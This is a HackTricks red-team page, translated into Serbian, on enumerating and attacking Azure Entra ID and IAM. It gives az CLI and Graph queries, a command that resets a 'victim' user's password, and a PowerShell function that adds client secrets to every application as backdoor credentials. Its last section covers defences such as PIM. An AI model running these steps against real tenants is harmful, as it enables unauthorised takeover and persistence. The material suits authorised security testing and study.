Az - Entra ID (AzureAD) & Azure IAM

Reading time: 29 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Azure Active Directory (Azure AD) služi kao Microsoftova usluga zasnovana na oblaku za upravljanje identitetom i pristupom. Ona je ključna za omogućavanje zaposlenima da se prijave i dobiju pristup resursima, kako unutar tako i van organizacije, uključujući Microsoft 365, Azure portal i brojne druge SaaS aplikacije. Dizajn Azure AD se fokusira na pružanje osnovnih usluga identiteta, posebno uključujući autentifikaciju, autorizaciju i upravljanje korisnicima.

Ključne karakteristike Azure AD uključuju višefaktorsku autentifikaciju i uslovni pristup, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost identiteta korisnika i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga u oblaku, Azure AD je ključan za upravljanje identitetima korisnika zasnovano na oblaku.

Enumeracija

Konekcija

bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Kada se prijavite putem CLI u Azure sa bilo kojim programom, koristite Azure aplikaciju iz tenanta koji pripada Microsoftu. Ove aplikacije, poput onih koje možete kreirati u svom nalogu, imaju klijent ID. Nećete moći da vidite sve njih u listama dozvoljenih aplikacija koje možete videti u konzoli, ali su podrazumevano dozvoljene.

Na primer, powershell skripta koja autentifikuje koristi aplikaciju sa klijent ID 1950a258-227b-4e31-a9cf-717495945fc2. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin može blokirati tu aplikaciju tako da korisnici ne mogu pristupiti koristeći alate koji se povezuju putem te aplikacije.

Međutim, postoje drugi klijent-IDs aplikacija koje će vam omogućiti da se povežete na Azure:

bash
# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Tenants

bash
# List tenants
az account tenant list

Korisnici

Za više informacija o Entra ID korisnicima pogledajte:

Az - Basic Information

bash
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

Promena lozinke korisnika

bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

Preporučuje se da se doda MFA za svakog korisnika, međutim, neke kompanije to neće postaviti ili će možda postaviti uz Conditional Access: Korisnik će biti required MFA if se prijavi sa određene lokacije, pretraživača ili some condition. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne bypasses. Proverite:

Az - Conditional Access Policies & MFA Bypass

Groups

Za više informacija o Entra ID grupama proverite:

Az - Basic Information

bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

Dodavanje korisnika u grupu

Vlasnici grupe mogu dodavati nove korisnike u grupu

bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

warning

Grupe mogu biti dinamične, što u suštini znači da ako korisnik ispunjava određene uslove, biće dodat u grupu. Naravno, ako su uslovi zasnovani na atributima koje korisnik može kontrolisati, mogao bi zloupotrebiti ovu funkciju da uđe u druge grupe.
Proverite kako zloupotrebiti dinamične grupe na sledećoj stranici:

Az - Dynamic Groups Privesc

Service Principals

Za više informacija o Entra ID servisnim principalima proverite:

Az - Basic Information

bash
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

warning

Vlasnik Service Principal-a može promeniti svoju lozinku.

Lista i pokušaj dodavanja klijentske tajne na svaku Enterprise App
bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.

.PARAMETER GraphToken
Pass the Graph API Token

.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)

$AppList = $null
$AppPassword = $null

# List All the Applications

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications"
"Method"  = "GET"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}

# Add Password in the Application

if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject

$Params = @{
"URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method"  = "POST"
"Headers" = @{
"Content-Type"  = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}

$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}

try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}

Aplikacije

Za više informacija o Aplikacijama proverite:

Az - Basic Information

Kada se aplikacija generiše, dodeljuju se 2 tipa dozvola:

  • Dozvole dodeljene Servisnom Principalu
  • Dozvole koje aplikacija može imati i koristiti u ime korisnika.
bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

warning

Aplikacija sa dozvolom AppRoleAssignment.ReadWrite može povećati privilegije na Global Admin dodeljujući sebi tu ulogu.
Za više informacija proverite ovo.

note

Tajni niz koji aplikacija koristi da dokaže svoj identitet prilikom traženja tokena je lozinka aplikacije.
Dakle, ako pronađete ovu lozinku, možete pristupiti kao service principal unutar tenanta.
Imajte na umu da je ova lozinka vidljiva samo kada je generisana (možete je promeniti, ali je ne možete ponovo dobiti).
Vlasnik aplikacije može dodati lozinku (tako da može da se pretvara da je ona).
Prijave kao ovi service principals nisu označene kao rizične i neće imati MFA.

Moguće je pronaći listu često korišćenih App ID-ova koji pripadaju Microsoft-u na https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications

Managed Identities

Za više informacija o Managed Identities proverite:

Az - Basic Information

bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

Azure Uloge

Za više informacija o Azure ulogama pogledajte:

Az - Basic Information

bash
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

Entra ID Uloge

Za više informacija o Azure ulogama proverite:

Az - Basic Information

bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

Uređaji

bash
# If you know how to do this send a PR!

warning

Ako je uređaj (VM) AzureAD povezan, korisnici iz AzureAD će moći da se prijave.
Štaviše, ako je prijavljeni korisnik Vlasnik uređaja, on će biti lokalni administrator.

Administrativne jedinice

Za više informacija o administrativnim jedinicama pogledajte:

Az - Basic Information

bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Entra ID Eskalacija Privilegija

Az - EntraID Privesc

Azure Eskalacija Privilegija

Az - Azure IAM Privesc (Authorization)

Odbrambeni Mehanizmi

Upravljanje Privilegovanim Identitetima (PIM)

Upravljanje Privilegovanim Identitetima (PIM) u Azure pomaže da se spreči dodeljivanje prekomernih privilegija korisnicima nepotrebno.

Jedna od glavnih funkcija koju PIM pruža je da omogućava da se ne dodeljuju uloge principima koji su konstantno aktivni, već da ih učini prikladnim na određeni vremenski period (npr. 6 meseci). Tada, kada korisnik želi da aktivira tu ulogu, mora da je zatraži navodeći vreme koje mu je potrebno za privilegiju (npr. 3 sata). Tada administrator mora da odobri zahtev.
Napomena: korisnik će takođe moći da zatraži da se prolongira vreme.

Pored toga, PIM šalje emailove svaki put kada se privilegovana uloga dodeljuje nekome.

Kada je PIM omogućen, moguće je konfigurisati svaku ulogu sa određenim zahtevima kao što su:

  • Maksimalno trajanje (sati) aktivacije
  • Zahteva MFA prilikom aktivacije
  • Zahteva kontekst autentifikacije uslovnog pristupa
  • Zahteva opravdanje prilikom aktivacije
  • Zahteva informacije o tiketu prilikom aktivacije
  • Zahteva odobrenje za aktivaciju
  • Maksimalno vreme za isteknuće prikladnih dodela
  • Puno više konfiguracije o tome kada i kome slati obaveštenja kada se određene radnje dogode sa tom ulogom

Politike Uslovnog Pristupa

Proverite:

Az - Conditional Access Policies & MFA Bypass

Entra Zaštita Identiteta

Entra Zaštita Identiteta je bezbednosna usluga koja omogućava da se otkrije kada je korisnik ili prijavljivanje previše rizično da bi bilo prihvaćeno, omogućavajući da se blokira korisnik ili pokušaj prijavljivanja.

Omogućava administratoru da je konfiguriše da blokira pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako, po defaultu je potpuno onemogućena:

tip

Danas se preporučuje dodavanje ovih ograničenja putem politika uslovnog pristupa gde je moguće konfigurisati iste opcije.

Entra Zaštita Lozinki

Entra Zaštita Lozinki (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) je bezbednosna funkcija koja pomaže u sprečavanju zloupotrebe slabih lozinki tako što zaključava naloge kada se dogodi nekoliko neuspešnih pokušaja prijavljivanja.
Takođe omogućava da se zabranjuje prilagođena lista lozinki koju treba da obezbedite.

Može se primeniti i na nivou oblaka i na lokalnom Active Directory-ju.

Podrazumevani režim je Revizija:

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks